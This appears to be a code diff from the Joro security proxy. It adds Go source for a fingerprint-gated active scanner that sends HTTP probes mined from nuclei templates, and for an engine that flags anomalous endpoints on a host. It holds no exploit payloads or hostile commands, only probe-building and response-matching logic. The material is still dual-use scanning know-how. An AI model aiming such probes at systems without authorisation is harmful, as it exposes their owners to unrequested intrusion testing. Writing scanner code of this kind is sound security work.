// is {{BaseURL}}-relative; a stray {{BaseURL}} prefix or an absolute URL is
// reduced to its path. Content-Length is computed from the body in hand; the
// request never carries Transfer-Encoding.
func renderRequest(origin string, req *Request, path string) ([]byte, error) {
host, err := hostOf(origin)
if err != nil {
return nil, err
}
target := normalizePath(path)
if strings.ContainsAny(target, "\r\n") {
return nil, fmt.Errorf("illegal path")
}
method := strings.ToUpper(strings.TrimSpace(req.Method))
if method == "" {
method = "GET"
}
var b strings.Builder
fmt.Fprintf(&b, "%s %s HTTP/1.1\r\n", method, target)
fmt.Fprintf(&b, "Host: %s\r\n", host)
sentUA, sentAccept := false, false
for k, v := range req.Headers {
if strings.ContainsAny(k, "\r\n:") || strings.ContainsAny(v, "\r\n") {
continue
}
switch strings.ToLower(k) {
case "user-agent":
sentUA = true
case "accept":
sentAccept = true
case "host", "content-length":
continue // Host is set above; Content-Length is computed below
}
fmt.Fprintf(&b, "%s: %s\r\n", k, v)
}
if !sentUA {
fmt.Fprintf(&b, "User-Agent: %s\r\n", defaultUA)
}
if !sentAccept {
b.WriteString("Accept: */*\r\n")
}
b.WriteString("Connection: close\r\n")
b.WriteString("\r\n")
b.WriteString(req.Body)
return httptools.UpdateContentLength([]byte(b.String())), nil
}
// hostOf returns the host[:port] of an origin.
func hostOf(origin string) (string, error) {
u, err := url.Parse(origin)
if err != nil || u.Host == "" {
return "", fmt.Errorf("bad origin %q", origin)
}
return u.Host, nil
}
// normalizePath reduces a signature path to an origin-form request target.
func normalizePath(p string) string {
p = strings.TrimSpace(p)
p = strings.ReplaceAll(p, "{{BaseURL}}", "")
p = strings.ReplaceAll(p, "{{Hostname}}", "")
if strings.HasPrefix(p, "http://") || strings.HasPrefix(p, "https://") {
p = originPath(p)
}
if p == "" {
return "/"
}
if !strings.HasPrefix(p, "/") {
p = "/" + p
}
return p
}
File diff suppressed because it is too large. Load diff
@@ -0,0 +1,338 @@
// Package templatesig is the active-scan signature rule: it sends crafted HTTP
// requests and files a finding when the response matches a check. The checks are
// an embedded, normalized dataset mined at design time from nuclei-templates (see
// tools/nucleigen) — the server never parses a nuclei YAML template, only this
// vetted schema.
//
// # Fingerprint-gated
//
// Before sending, the rule reads the passive technology fingerprint of the host
// (internal/techfp) and runs only the signatures whose RequiresTech matches the
// detected stack, plus the tech-agnostic ones. A WordPress host is probed for
// WordPress and PHP checks, not for Jira or Drupal ones. Gating is version-aware
// but fail-open: a version constraint narrows only when the version is known.
//
// # Fail-closed at the source, not here
//
// The matcher vocabulary is deliberately small (status, word, regex, size, with
// and/or and negation). That is not a runtime limitation to work around: the
// converter emits a signature only when a template's whole logic fits this
// vocabulary, and drops the rest. So a signature that reaches this package is one
// Joro can evaluate faithfully — there is no partial evaluation that could report
// a vulnerable target as safe.
package templatesig
import (
"context"
"fmt"
"net/url"
"regexp"
"strings"
"sync"
"time"
"github.com/BishopFox/joro/internal/activescan"
"github.com/BishopFox/joro/internal/detect"
"github.com/BishopFox/joro/internal/httptools"
)
const (
ruleID = "templatesig"
findingRule = "activescan.templatesig"
perRequestTimeout = 15 * time.Second
// maxRespBytes is the response body a match needs; the send default is sized
// only to fingerprint, which is too little for a body word/regex matcher.
maxRespBytes = 1 << 20
)
// TechReq is a technology precondition on a signature. An empty Name list on a
// signature means tech-agnostic (always eligible). MinVersion is inclusive,
// MaxVersion exclusive; either may be empty.
type TechReq struct {
Name string `json:"name"`
MinVersion string `json:"minVersion,omitempty"`
MaxVersion string `json:"maxVersion,omitempty"`
}
// Matcher is one condition evaluated against a response.
type Matcher struct {
Type string `json:"type"` // status | word | regex | size
Part string `json:"part,omitempty"` // body | header | all (default body)
Status []int `json:"status,omitempty"`
Words []string `json:"words,omitempty"`
Regexes []string `json:"regexes,omitempty"`
Sizes []int `json:"sizes,omitempty"`
Condition string `json:"condition,omitempty"` // and | or across words/regexes (default or)
Negative bool `json:"negative,omitempty"`
compiled []*regexp.Regexp // filled by compile()
}
// Request is one probe: a method and one or more paths sharing a matcher set.
type Request struct {
Method string `json:"method"`
Paths []string `json:"paths"` // {{BaseURL}}-relative, e.g. "/.git/config"
Headers map[string]string `json:"headers,omitempty"`
Body string `json:"body,omitempty"`
Matchers []Matcher `json:"matchers"`
MatchersCondition string `json:"matchersCondition,omitempty"` // and | or (default or)
StopAtFirstMatch bool `json:"stopAtFirstMatch,omitempty"`
}
// Signature is one normalized check mined from a nuclei template.
type Signature struct {
ID string `json:"id"`
NucleiID string `json:"nucleiId,omitempty"`
Name string `json:"name"`
Severity string `json:"severity"`
Description string `json:"description,omitempty"`
Remediation string `json:"remediation,omitempty"`
Reference []string `json:"reference,omitempty"`
Tags []string `json:"tags,omitempty"`
Source string `json:"source,omitempty"`
RequiresTech []TechReq `json:"requiresTech,omitempty"`
Requests []Request `json:"requests"`
}
// Rule implements activescan.Rule and activescan.Cataloger over the embedded
// signature set. The per-signature enable/disable half of Cataloger comes from the
// embedded *activescan.DisabledSet (per-project session state set by
// applyProjectConfig and read by buildProjectConfig).
type Rule struct {
once sync.Once
sigs []Signature
err error
*activescan.DisabledSet
}
// New returns the template-signature rule. The embedded dataset is parsed and its
// regexes compiled lazily on first Run, off the server boot path.
func New() *Rule { return &Rule{DisabledSet: activescan.NewDisabledSet()} }
// RuleID is the stable registry id of this rule, for callers that resolve the
// concrete rule from the registry.
func RuleID() string { return ruleID }
func (*Rule) ID() string { return ruleID }
func (*Rule) Name() string { return "Template signatures" }
func (*Rule) Category() detect.Category { return detect.CategoryTemplate }
func (*Rule) Description() string {
return "HTTP request signatures mined from nuclei templates — exposed files, " +
"known-vulnerable fingerprints, misconfigurations, and exposed panels. Fingerprint-" +
"gated: only signatures matching a host's detected technology stack run, plus the " +
"tech-agnostic ones."
}
// CatalogItems maps each loaded signature to a neutral catalog item for the UI.
func (r *Rule) CatalogItems() []activescan.CatalogItem {
sigs, err := r.load()
if err != nil {
return nil
}
out := make([]activescan.CatalogItem, 0, len(sigs))
for i := range sigs {
sig := &sigs[i]
var method string
var paths []string
if len(sig.Requests) > 0 {
method = sig.Requests[0].Method
paths = sig.Requests[0].Paths
}
tech := make([]string, 0, len(sig.RequiresTech))
for _, t := range sig.RequiresTech {
tech = append(tech, t.Name)
}
detail := []activescan.CatalogField{}
add := func(label, value string) {
if value != "" {
detail = append(detail, activescan.CatalogField{Label: label, Value: value})
}
}
if method != "" || len(paths) > 0 {
add("Request", strings.TrimSpace(method+" "+strings.Join(paths, ", ")))
}
add("Required technology", strings.Join(tech, ", "))
add("Tags", strings.Join(sig.Tags, ", "))
add("References", strings.Join(sig.Reference, "\n"))
add("Nuclei ID", sig.NucleiID)
add("Source", sig.Source)
out = append(out, activescan.CatalogItem{
ID: sig.ID,
Name: sig.Name,
Severity: sig.Severity,
Confidence: string(sig.Confidence()),
Target: string(detect.TargetMessage),
Description: sig.Description,
Remediation: sig.Remediation,
Enabled: r.IsItemEnabled(sig.ID),
Detail: detail,
})
}
return out
}
// Run selects the eligible signatures for the target's technology stack and
// probes each, filing a finding per confirmed match.
func (r *Rule) Run(ctx context.Context, t activescan.Target, cfg activescan.Config, deps activescan.RuleDeps, rep activescan.Reporter) error {
sigs, err := r.load()
if err != nil {
return fmt.Errorf("load signatures: %w", err)
}
selected := selectSignatures(sigs, cfg, deps, t.Host, r.DisabledSet)
prog := newSpreader(rep, len(t.URLs), len(selected))
defer prog.finish()
send := httptools.SendDeps{
ProxyAddr: deps.ProxyAddr,
CA: deps.CA,
Store: deps.Store,
MaxRespBytes: maxRespBytes,
}
for _, sig := range selected {
if ctx.Err() != nil {
return ctx.Err()
}
r.runSignature(ctx, t, sig, send, rep)
prog.step()
}
return nil
}
// runSignature probes every request/path of one signature, stopping a request's
// path sweep at the first match when the signature asks for it.
func (r *Rule) runSignature(ctx context.Context, t activescan.Target, sig Signature, send httptools.SendDeps, rep activescan.Reporter) {
for ri := range sig.Requests {
req := &sig.Requests[ri]
for _, path := range req.Paths {
if ctx.Err() != nil {
return
}
raw, err := renderRequest(t.Origin, req, path)
if err != nil {
continue
}
reqCtx, cancel := context.WithTimeout(ctx, perRequestTimeout)
sent, err := httptools.SendViaProxy(reqCtx, raw, t.Scheme, t.Host, send)
cancel()
if err != nil {
continue
}
resp := httptools.ReadResponse(sent.RespRaw)
rp := replacer{baseURL: strings.TrimRight(t.Origin, "/"), host: t.Host}
ok, evidence := evalMatchers(req, resp, rp)
if !ok {
continue
}
rep.Finding(buildFinding(t.Host, t.Origin, path, sent.URL, sig, evidence))
if req.StopAtFirstMatch {
break
}
}
}
}
// buildFinding maps a confirmed match to a detect.Finding in detect's identity
// space, deduped per signature, host and path.
func buildFinding(host, origin, path, sentURL string, sig Signature, evidence string) detect.Finding {
now := time.Now()
u := sentURL
if u == "" {
u = strings.TrimRight(origin, "/") + path
}
detail := sig.Name
if sig.NucleiID != "" {
detail = sig.NucleiID + ": " + sig.Name
}
return detect.Finding{
ID: detect.FindingID(sig.ID, host, path),
RuleID: findingRule,
RuleName: sig.Name,
Category: detect.CategoryTemplate,
Severity: mapSeverity(sig.Severity),
Confidence: confidenceFor(sig),
Target: detect.TargetMessage,
Host: host,
Method: requestMethod(sig),
URL: u,
Detail: detail,
Evidence: evidence,
FirstSeen: now,
LastSeen: now,
EvidenceOffset: -1,
}
}
func requestMethod(sig Signature) string {
if len(sig.Requests) > 0 && sig.Requests[0].Method != "" {
return strings.ToUpper(sig.Requests[0].Method)
}
return "GET"
}
// mapSeverity converts a nuclei severity string to a detect.Severity, defaulting
// to info for an unknown value.
func mapSeverity(s string) detect.Severity {
switch strings.ToLower(strings.TrimSpace(s)) {
case "critical":
return detect.SeverityCritical
case "high":
return detect.SeverityHigh
case "medium":
return detect.SeverityMedium
case "low":
return detect.SeverityLow
default:
return detect.SeverityInfo
}
}
// Confidence is the finding confidence a match of this signature carries, for the
// catalog UI. It is the same value buildFinding files.
func (sig Signature) Confidence() detect.Confidence { return confidenceFor(sig) }
// confidenceFor estimates confidence from matcher strength: a regex or a
// multi-term/status-qualified match is high; a lone word is medium; a bare status
// match is low. Nuclei carries no confidence of its own.
func confidenceFor(sig Signature) detect.Confidence {
hasRegex, words, hasStatus, nonStatus := false, 0, false, false
for _, req := range sig.Requests {
for _, m := range req.Matchers {
switch m.Type {
case "regex":
hasRegex = true
nonStatus = true
case "word":
words += len(m.Words)
nonStatus = true
case "status":
hasStatus = true
case "size":
nonStatus = true
}
}
}
switch {
case hasRegex || (hasStatus && nonStatus) || words > 1:
return detect.ConfidenceHigh
case words == 1 || nonStatus:
return detect.ConfidenceMedium
default:
return detect.ConfidenceLow
}
}
// originPath splits an absolute URL into its path+query, for rendering.
func originPath(raw string) string {
u, err := url.Parse(raw)
if err != nil || u.Path == "" {
return raw
}
if u.RawQuery != "" {
return u.Path + "?" + u.RawQuery
}
return u.Path
}
+280
View File
@@ -0,0 +1,280 @@
// Package anomaly finds endpoints that don't look like anything else on their
// host — the lone JSON handler in an HTML app, a single 200 among 403s, an
// unusually large or slow response, a rare extension or parameter, an endpoint
// exposing a framework header the rest of the host does not. It is a triage aid
// that points attention at what to pursue, not a vulnerability claim.
//
// It is a separate package from internal/detect on purpose. The detect engine's
// three load-bearing properties — it judges one message at a time, its analyzers
// hold no state, and its Upsert keying makes rescans byte-for-byte idempotent —
// are exactly what an outlier question cannot honor. "Is this endpoint unlike
// its siblings?" is answered against a per-host baseline: shared, mutable state
// whose verdict depends on how much traffic has been seen. Computing it inside
// the detect engine would break the fan-out and the idempotent rescan both.
//
// So the computation lives here and only the *results* land in detect: this
// package mints detect.Findings under CategoryAnomaly through detect.FindingID
// and detect.Store.Upsert — the same path internal/capreg uses for agent-reported
// findings — which gives the anomaly findings the Detect table, triage,
// project persistence, the dashboard widget, triggers and webhooks for free.
//
// The engine runs on its own interval (not the proxy request path), maintains an
// incremental per-capture record cache keyed by sequence number, rebuilds
// baselines each cycle, upserts the current outliers, and retracts findings that
// are no longer outliers — but never a finding the operator has triaged (marked
// a false positive or noted), mirroring how detect's own purge preserves those.
package anomaly
import (
"context"
"strings"
"sync"
"time"
"github.com/BishopFox/joro/internal/detect"
"github.com/BishopFox/joro/internal/event"
"github.com/BishopFox/joro/internal/proxy"
)
// cycleInterval is how often baselines are rebuilt. Longer than detect's live
// tick because this is a whole-host recompute, not a per-capture scan.
const cycleInterval = 20 * time.Second
// batchSize bounds one SinceSeq pull during intake.
const batchSize = 500
// Engine owns the record cache and the set of anomaly findings it manages.
type Engine struct {
store *proxy.Store
scope *proxy.Scope
findings *detect.Store
config func() detect.Config
broadcast chan<- any
notify func() // called after a cycle changes the store, to push detect.summary
mu sync.Mutex
records map[int]*record
cursor int
// managed maps a finding ID this engine owns to the signature (severity +
// evidence) last emitted for it, so a cycle re-emits only what changed and
// knows exactly which findings to reconcile.
managed map[string]string
}
// NewEngine constructs the engine. config is read every cycle so a live toggle
// or sensitivity change takes effect without a restart; notify pushes the
// aggregate detect.summary (it needs the detect engine's rule-enabled predicate,
// which lives in the API layer).
func NewEngine(store *proxy.Store, scope *proxy.Scope, findings *detect.Store, config func() detect.Config, broadcast chan<- any, notify func()) *Engine {
return &Engine{
store: store,
scope: scope,
findings: findings,
config: config,
broadcast: broadcast,
notify: notify,
records: map[int]*record{},
managed: map[string]string{},
}
}
// Run rebuilds baselines on an interval until ctx is cancelled, mirroring the
// detect scanner's loop.
func (e *Engine) Run(ctx context.Context) {
t := time.NewTicker(cycleInterval)
defer t.Stop()
for {
select {
case <-ctx.Done():
return
case <-t.C:
e.RunCycle()
}
}
}
// ResetCursor is called wherever proxy.Store rewrites its sequence numbering
// (Clear zeroes it, a project load rewrites it), the same obligation the detect
// scanner's cursor has. It drops the record cache: a rewrite invalidates the
// seq keys the cache is built on.
func (e *Engine) ResetCursor(seq int) {
e.mu.Lock()
defer e.mu.Unlock()
e.cursor = seq
e.records = map[int]*record{}
}
// RunCycle performs one intake-and-analyze pass. Exported so a test or a manual
// trigger can drive it without the ticker.
func (e *Engine) RunCycle() {
cfg := e.config()
if !cfg.AnomalyEnabled {
e.retractAll()
return
}
e.intake()
e.analyze(cfg)
}
// intake fingerprints captures newer than the cursor into the record cache and
// drops records whose sequence numbers have been evicted from the store.
func (e *Engine) intake() {
e.mu.Lock()
defer e.mu.Unlock()
if e.store.Count() == 0 {
e.records = map[int]*record{}
return
}
if oldest := e.store.SinceSeq(0, 1); len(oldest) == 1 {
minSeq := oldest[0].Seq
for seq := range e.records {
if seq < minSeq {
delete(e.records, seq)
}
}
}
for {
batch := e.store.SinceSeq(e.cursor, batchSize)
if len(batch) == 0 {
break
}
for _, cr := range batch {
if cr.Seq > e.cursor {
e.cursor = cr.Seq
}
if r := buildRecord(cr); r != nil {
e.records[r.seq] = r
}
}
if len(batch) < batchSize {
break
}
}
}
// analyze groups the cached records by host, runs the signals, and commits.
func (e *Engine) analyze(cfg detect.Config) {
e.mu.Lock()
recs := make([]*record, 0, len(e.records))
for _, r := range e.records {
recs = append(recs, r)
}
prev := e.managed
e.mu.Unlock()
th := thresholdsFor(cfg.AnomalySensitivity)
byHost := map[string][]*record{}
for _, r := range recs {
if cfg.ScopeOnly && !e.scope.InScope(r.host, r.method, r.rawPath) {
continue
}
if hostExcluded(r.host, cfg.ExcludeHosts) {
continue
}
byHost[r.host] = append(byHost[r.host], r)
}
var cands []detect.Finding
for host, hr := range byHost {
cands = append(cands, analyzeHost(host, hr, th)...)
}
e.commit(cands, prev)
}
// commit upserts the current outliers, emits what is new or changed, and retracts
// managed findings no longer present unless the operator has triaged them.
func (e *Engine) commit(cands []detect.Finding, prev map[string]string) {
next := make(map[string]string, len(cands))
changed := false
for _, f := range cands {
sig := string(f.Severity) + "|" + f.Evidence
next[f.ID] = sig
// Unchanged since last cycle: leave the store untouched. Every Upsert
// bumps the findings-store revision, which detectSignature folds into the
// autosave fingerprint, so re-writing a steady finding each cycle would
// force a project save every 20s for no reason.
if prev[f.ID] == sig {
continue
}
stored, isNew := e.findings.Upsert(f)
if isNew {
changed = true
}
e.emit(*stored, isNew)
}
for id := range prev {
if _, still := next[id]; still {
continue
}
f, ok := e.findings.Get(id)
if !ok {
continue
}
if f.FalsePositive || strings.TrimSpace(f.Notes) != "" {
continue // keep triaged findings; stop managing them
}
if e.findings.Delete(id) {
changed = true
}
}
e.mu.Lock()
e.managed = next
e.mu.Unlock()
if changed && e.notify != nil {
e.notify()
}
}
// retractAll drops every managed finding (except triaged ones) when the feature
// is turned off. The record cache is kept so a re-enable is cheap.
func (e *Engine) retractAll() {
e.mu.Lock()
prev := e.managed
e.managed = map[string]string{}
e.mu.Unlock()
if len(prev) == 0 {
return
}
changed := false
for id := range prev {
f, ok := e.findings.Get(id)
if !ok {
continue
}
if f.FalsePositive || strings.TrimSpace(f.Notes) != "" {
continue
}
if e.findings.Delete(id) {
changed = true
}
}
if changed && e.notify != nil {
e.notify()
}
}
func (e *Engine) emit(f detect.Finding, isNew bool) {
if e.broadcast == nil {
return
}
select {
case e.broadcast <- event.WSEvent{
Type: "detect.finding",
Data: map[string]any{"finding": f, "isNew": isNew},
}:
default:
}
}
// hostExcluded mirrors the detect engine's substring host exclusion.
func hostExcluded(host string, exclude []string) bool {
for _, ex := range exclude {
if ex != "" && strings.Contains(host, ex) {
return true
}
}
return false
}
+95
View File
@@ -0,0 +1,95 @@
package anomaly
import (
"regexp"
"strings"
)
var (
numSegRe = regexp.MustCompile(`^\d+$`)
uuidSegRe = regexp.MustCompile(`(?i)^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$`)
hexSegRe = regexp.MustCompile(`(?i)^[0-9a-f]{16,}$`)
opaqueRe = regexp.MustCompile(`^[A-Za-z0-9_\-]+$`)
digitRe = regexp.MustCompile(`\d`)
)
// normalizePath folds volatile path segments to {id} so that /users/1 and
// /users/2 collapse to a single endpoint. Without it every record with an
// embedded identifier is its own endpoint and no per-endpoint baseline forms.
func normalizePath(p string) string {
if p == "" || p == "/" {
return "/"
}
segs := strings.Split(p, "/")
for i, s := range segs {
if s == "" {
continue
}
segs[i] = normalizeSeg(s)
}
return strings.Join(segs, "/")
}
func normalizeSeg(s string) string {
switch {
case numSegRe.MatchString(s):
return "{id}"
case uuidSegRe.MatchString(s):
return "{id}"
case hexSegRe.MatchString(s):
return "{id}"
case len(s) >= 24 && opaqueRe.MatchString(s) && digitRe.MatchString(s):
// A long token carrying both letters and digits: a session id, a signed
// value, a slug with an embedded id. Opaque enough to template.
return "{id}"
}
return s
}
// pathExt returns the lowercase file extension of the last path segment, or ""
// when there is none. It reads the raw path, not the templated one, so a
// templated trailing segment ({id}) yields no extension.
func pathExt(p string) string {
if p == "" {
return ""
}
seg := p
if i := strings.LastIndexByte(p, '/'); i >= 0 {
seg = p[i+1:]
}
dot := strings.LastIndexByte(seg, '.')
if dot <= 0 || dot == len(seg)-1 {
return ""
}
ext := strings.ToLower(seg[dot+1:])
if len(ext) > 8 || !opaqueRe.MatchString(ext) {
return ""
}
return ext
}
// majorCT strips parameters from a Content-Type, leaving "type/subtype".
func majorCT(ct string) string {
ct = strings.ToLower(strings.TrimSpace(ct))
if i := strings.IndexByte(ct, ';'); i >= 0 {
ct = strings.TrimSpace(ct[:i])
}
return ct
}
// statusClass maps a status code to its hundreds band (2, 3, 4, 5), or 0.
func statusClass(code int) int {
if code < 100 || code >= 600 {
return 0
}
return code / 100
}
// commonWebExt are extensions ordinary enough that their rarity on a host is not
// interesting. A rare extension outside this set (.bak, .sql, .old, .zip) is.
var commonWebExt = map[string]struct{}{
"html": {}, "htm": {}, "php": {}, "asp": {}, "aspx": {}, "jsp": {},
"js": {}, "css": {}, "json": {}, "xml": {}, "txt": {}, "svg": {},
"png": {}, "jpg": {}, "jpeg": {}, "gif": {}, "webp": {}, "ico": {},
"woff": {}, "woff2": {}, "ttf": {}, "map": {},
}
+161
View File
@@ -0,0 +1,161 @@
package anomaly
import (
"bytes"
"net/url"
"sort"
"strings"
"github.com/BishopFox/joro/internal/httptools"
"github.com/BishopFox/joro/internal/proxy"
)
// record is the light, immutable per-capture summary the baselines are built
// from. One is computed per captured request the first time its sequence number
// is seen, then cached — response fingerprinting is the expensive step and a
// capture never changes after it is stored.
type record struct {
seq int
host string
method string
rawPath string
norm string // templated path (the endpoint key component)
url string // full URL of this capture, for the representative request
reqID string
ts int64 // unix nanos of capture, for picking the most recent
statusClass int
majorCT string
size int
durMs int64
hasDur bool
params []string // sorted query parameter names
ext string
tech string // X-Powered-By if present, else Server token
authScheme string // first token of WWW-Authenticate, lowercased
cookieNames []string // Set-Cookie names on this response
}
// buildRecord summarizes one capture, or returns nil for a capture that must not
// enter a baseline: WebSocket upgrades (101) and the synthetic 502 the proxy
// stores for an upstream dial failure, both of which would distort a host's
// status and shape distributions.
func buildRecord(cr *proxy.CapturedRequest) *record {
if cr.Host == "" {
return nil
}
if cr.StatusCode == 101 {
return nil
}
if cr.StatusCode == 502 && isUpstreamError(cr.RespRaw) {
return nil
}
durMs := cr.Duration.Milliseconds()
fp := httptools.FingerprintResponse(cr.Seq, cr.RespRaw, durMs, false)
status := fp.Status
if status == 0 {
status = cr.StatusCode
}
ct := fp.CT
if ct == "" {
ct = cr.ContentType
}
var rawPath string
var params []string
if u, err := url.Parse(cr.URL); err == nil {
rawPath = u.Path
for k := range u.Query() {
params = append(params, k)
}
sort.Strings(params)
}
tech, authScheme, cookies := parseRespHeaders(cr.RespRaw)
if tech == "" {
tech = fp.Server
}
return &record{
seq: cr.Seq,
host: cr.Host,
method: strings.ToUpper(cr.Method),
rawPath: rawPath,
norm: normalizePath(rawPath),
url: cr.URL,
reqID: cr.ID,
ts: cr.Timestamp.UnixNano(),
statusClass: statusClass(status),
majorCT: majorCT(ct),
size: fp.Len,
durMs: durMs,
hasDur: durMs > 0,
params: params,
ext: pathExt(rawPath),
tech: strings.ToLower(tech),
authScheme: authScheme,
cookieNames: cookies,
}
}
// isUpstreamError matches the body buildUpstreamErrorCapture writes for a failed
// upstream dial. Kept in sync with that helper by shape, not import.
func isUpstreamError(raw []byte) bool {
i := bytes.Index(raw, []byte("\r\n\r\n"))
if i < 0 {
return false
}
return bytes.HasPrefix(bytes.TrimLeft(raw[i+4:], " \t\r\n"), []byte("upstream error:"))
}
// parseRespHeaders pulls the few headers the tech and header/auth signals need
// out of a raw response, without a full HTTP parse: the framework token
// (X-Powered-By, else the Server product), the auth scheme, and Set-Cookie
// names.
func parseRespHeaders(raw []byte) (tech, authScheme string, cookies []string) {
end := bytes.Index(raw, []byte("\r\n\r\n"))
if end < 0 {
end = len(raw)
}
var server string
for _, line := range bytes.Split(raw[:end], []byte("\r\n")) {
c := bytes.IndexByte(line, ':')
if c <= 0 {
continue
}
name := strings.ToLower(strings.TrimSpace(string(line[:c])))
val := strings.TrimSpace(string(line[c+1:]))
switch name {
case "x-powered-by":
if tech == "" {
tech = firstToken(val)
}
case "server":
server = firstToken(val)
case "www-authenticate":
if authScheme == "" {
authScheme = strings.ToLower(firstToken(val))
}
case "set-cookie":
if eq := strings.IndexByte(val, '='); eq > 0 {
cookies = append(cookies, strings.TrimSpace(val[:eq]))
}
}
}
if tech == "" {
tech = server
}
return tech, authScheme, cookies
}
// firstToken returns the value up to the first space, tab, or semicolon, so
// "Apache/2.4.7 (Ubuntu)" becomes "Apache/2.4.7".
func firstToken(s string) string {
if i := strings.IndexAny(s, " \t;,"); i > 0 {
return s[:i]
}
return s
}
+376
View File
@@ -0,0 +1,376 @@
package anomaly
import (
"fmt"
"sort"
"strings"
"time"
"github.com/BishopFox/joro/internal/detect"
)
// Signal rule IDs. Each is a stable synthetic RuleID so a finding's identity
// (FindingID(ruleID, host, endpointKey)) is deterministic and dedups across
// cycles. They are not engine rules; handleGetFinding returns rule:null for
// them and the UI reads Detail instead.
const (
ruleShape = "anomaly.shape"
ruleSize = "anomaly.size"
ruleLatency = "anomaly.latency"
ruleStructure = "anomaly.structure"
ruleHeader = "anomaly.header"
)
var ruleNames = map[string]string{
ruleShape: "Response-shape outlier",
ruleSize: "Response-size outlier",
ruleLatency: "Latency outlier",
ruleStructure: "Structural outlier",
ruleHeader: "Header / tech outlier",
}
// thresholds tune how stark an outlier must be to report. Sensitivity selects a
// set; see thresholdsFor.
type thresholds struct {
minEndpoints int // host needs at least this many endpoints for any signal
minMetric int // endpoints with a numeric metric before size/latency run
rareFrac float64 // a category on fewer than this fraction of endpoints is rare
dominateFrac float64 // the modal category must cover at least this to call others out
zThresh float64 // robust-z magnitude to flag a size/latency outlier
}
func thresholdsFor(sens string) thresholds {
switch sens {
case "low":
return thresholds{minEndpoints: 12, minMetric: 12, rareFrac: 0.05, dominateFrac: 0.75, zThresh: 4.5}
case "high":
return thresholds{minEndpoints: 5, minMetric: 6, rareFrac: 0.15, dominateFrac: 0.55, zThresh: 3.0}
default: // medium
return thresholds{minEndpoints: 8, minMetric: 8, rareFrac: 0.10, dominateFrac: 0.65, zThresh: 3.5}
}
}
// endpoint aggregates the records that share one host+method+templated-path.
type endpoint struct {
key string // "METHOD /norm/path" — the finding's group dimension
host string
method string
norm string
n int
repTS int64
repReqID string
repURL string
repMeth string
ctCount map[string]int
statusCount map[int]int
sizes []float64
durs []float64
params map[string]struct{}
ext string
techCount map[string]int
authCount map[string]int
}
func (ep *endpoint) add(r *record) {
ep.n++
if r.ts >= ep.repTS {
ep.repTS = r.ts
ep.repReqID = r.reqID
ep.repURL = r.url
ep.repMeth = r.method
}
if r.majorCT != "" {
ep.ctCount[r.majorCT]++
}
if r.statusClass != 0 {
ep.statusCount[r.statusClass]++
}
ep.sizes = append(ep.sizes, float64(r.size))
if r.hasDur {
ep.durs = append(ep.durs, float64(r.durMs))
}
for _, p := range r.params {
ep.params[p] = struct{}{}
}
if r.ext != "" {
ep.ext = r.ext
}
if r.tech != "" {
ep.techCount[r.tech]++
}
if r.authScheme != "" {
ep.authCount[r.authScheme]++
}
}
func (ep *endpoint) modalCT() string { s, _ := modalStr(ep.ctCount); return s }
func (ep *endpoint) modalStatus() int { s, _ := modalInt(ep.statusCount); return s }
func (ep *endpoint) modalTech() string { s, _ := modalStr(ep.techCount); return s }
func (ep *endpoint) modalAuth() string { s, _ := modalStr(ep.authCount); return s }
func (ep *endpoint) medianSize() float64 { return median(ep.sizes) }
func (ep *endpoint) medianDur() float64 { return median(ep.durs) }
// analyzeHost groups a host's records into endpoints and runs every signal,
// returning the anomaly findings for that host. Below the endpoint floor it
// returns nothing: with too few endpoints, everything looks like an outlier.
func analyzeHost(host string, recs []*record, th thresholds) []detect.Finding {
byKey := map[string]*endpoint{}
for _, r := range recs {
key := r.method + " " + r.norm
ep := byKey[key]
if ep == nil {
ep = &endpoint{
key: key, host: host, method: r.method, norm: r.norm,
ctCount: map[string]int{}, statusCount: map[int]int{},
params: map[string]struct{}{}, techCount: map[string]int{},
authCount: map[string]int{},
}
byKey[key] = ep
}
ep.add(r)
}
eps := make([]*endpoint, 0, len(byKey))
for _, ep := range byKey {
eps = append(eps, ep)
}
if len(eps) < th.minEndpoints {
return nil
}
// Deterministic order so findings emit stably.
sort.Slice(eps, func(i, j int) bool { return eps[i].key < eps[j].key })
// reasons accumulates one detail string per (ruleID, endpoint) so, e.g., a
// shape outlier tripping on both content-type and status is one finding.
type fkey struct {
rule string
ep *endpoint
}
reasons := map[fkey][]string{}
strong := map[fkey]bool{}
add := func(rule string, ep *endpoint, isStrong bool, msg string) {
k := fkey{rule, ep}
reasons[k] = append(reasons[k], msg)
if isStrong {
strong[k] = true
}
}
shapeSignal(eps, th, func(ep *endpoint, s bool, msg string) { add(ruleShape, ep, s, msg) })
sizeSignal(eps, th, func(ep *endpoint, s bool, msg string) { add(ruleSize, ep, s, msg) })
latencySignal(eps, th, func(ep *endpoint, s bool, msg string) { add(ruleLatency, ep, s, msg) })
structureSignal(eps, th, func(ep *endpoint, s bool, msg string) { add(ruleStructure, ep, s, msg) })
headerSignal(eps, th, func(ep *endpoint, s bool, msg string) { add(ruleHeader, ep, s, msg) })
out := make([]detect.Finding, 0, len(reasons))
for k, msgs := range reasons {
sev := detect.SeverityInfo
conf := detect.ConfidenceLow
if strong[k] {
sev = detect.SeverityLow
conf = detect.ConfidenceMedium
}
out = append(out, k.ep.finding(k.rule, strings.Join(msgs, "; "), sev, conf))
}
return out
}
// shapeSignal flags an endpoint whose modal content-type or status class differs
// from a host that is otherwise dominated by one value.
func shapeSignal(eps []*endpoint, th thresholds, emit func(*endpoint, bool, string)) {
n := len(eps)
ctFreq := map[string]int{}
stFreq := map[int]int{}
for _, ep := range eps {
if ct := ep.modalCT(); ct != "" {
ctFreq[ct]++
}
if st := ep.modalStatus(); st != 0 {
stFreq[st]++
}
}
domCT, domCTn := modalStr(ctFreq)
domST, domSTn := modalInt(stFreq)
ctDominates := domCT != "" && float64(domCTn)/float64(n) >= th.dominateFrac
stDominates := domST != 0 && float64(domSTn)/float64(n) >= th.dominateFrac
for _, ep := range eps {
ct := ep.modalCT()
if ctDominates && ct != "" && ct != domCT && frac(ctFreq[ct], n) < th.rareFrac {
strong := ctFreq[ct] == 1
emit(ep, strong, fmt.Sprintf("content-type %s; host is mostly %s (%d/%d endpoints)", ct, domCT, ctFreq[ct], n))
}
st := ep.modalStatus()
if stDominates && st != 0 && st != domST && frac(stFreq[st], n) < th.rareFrac {
strong := stFreq[st] == 1
emit(ep, strong, fmt.Sprintf("status %dxx; host is mostly %dxx (%d/%d endpoints)", st, domST, stFreq[st], n))
}
}
}
// sizeSignal flags an endpoint whose median response size is a robust-z outlier
// among the host's per-endpoint medians.
func sizeSignal(eps []*endpoint, th thresholds, emit func(*endpoint, bool, string)) {
var meds []float64
var have []*endpoint
for _, ep := range eps {
